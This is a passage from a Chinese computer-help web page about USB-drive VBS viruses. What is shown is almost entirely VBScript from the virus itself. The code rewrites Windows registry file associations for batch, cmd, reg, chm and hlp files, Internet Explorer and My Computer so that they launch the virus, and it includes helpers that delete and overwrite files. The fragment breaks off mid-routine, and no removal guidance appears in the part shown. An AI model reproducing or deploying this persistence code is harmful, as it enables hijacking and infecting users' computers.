u盘中了vbs病毒怎么办_u盘vbs病毒杀不干净_vbs病毒(5)

Call SetBatFileAss(VirusAssPath)

End If

IfReadReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\')<>File_ValueThen

Call SetCmdFileAss(VirusAssPath)

End If

IfReadReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\')<>File_ValueThen

Call SetRegFileAss(VirusAssPath)

End If

IfReadReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\')<>File_ValueThen

Call SetchmFileAss(VirusAssPath)

End If

IfReadReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\')<>File_ValueThen

Call SethlpFileAss(VirusAssPath)

End If

IfReadReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\')<>IE_ValueThen

Call SetIEAss(VirusAssPath)

End If

IfReadReg('HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\')<>IE_ValueThen

Call SetIEAss(VirusAssPath)

End If

IfReadReg('HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\')<>MyCpt_Value1Then

Call SetMyComputerAss(VirusAssPath)

End If

IfReadReg('HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\')<>MyCpt_Value2Then

Call SetMyComputerAss(VirusAssPath)

End If

Call RegSet()

End Sub

Sub CopyFile(source, pathf)

On Error Resume Next

If FSO.FileExists(pathf) Then

FSO.DeleteFile pathf , True

End If

FSO.CopyFile source, pathf

End Sub

Sub CreateFile(code, pathf)

On Error Resume Next

Dim FileText

If FSO.FileExists(pathf) Then

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25802-5.html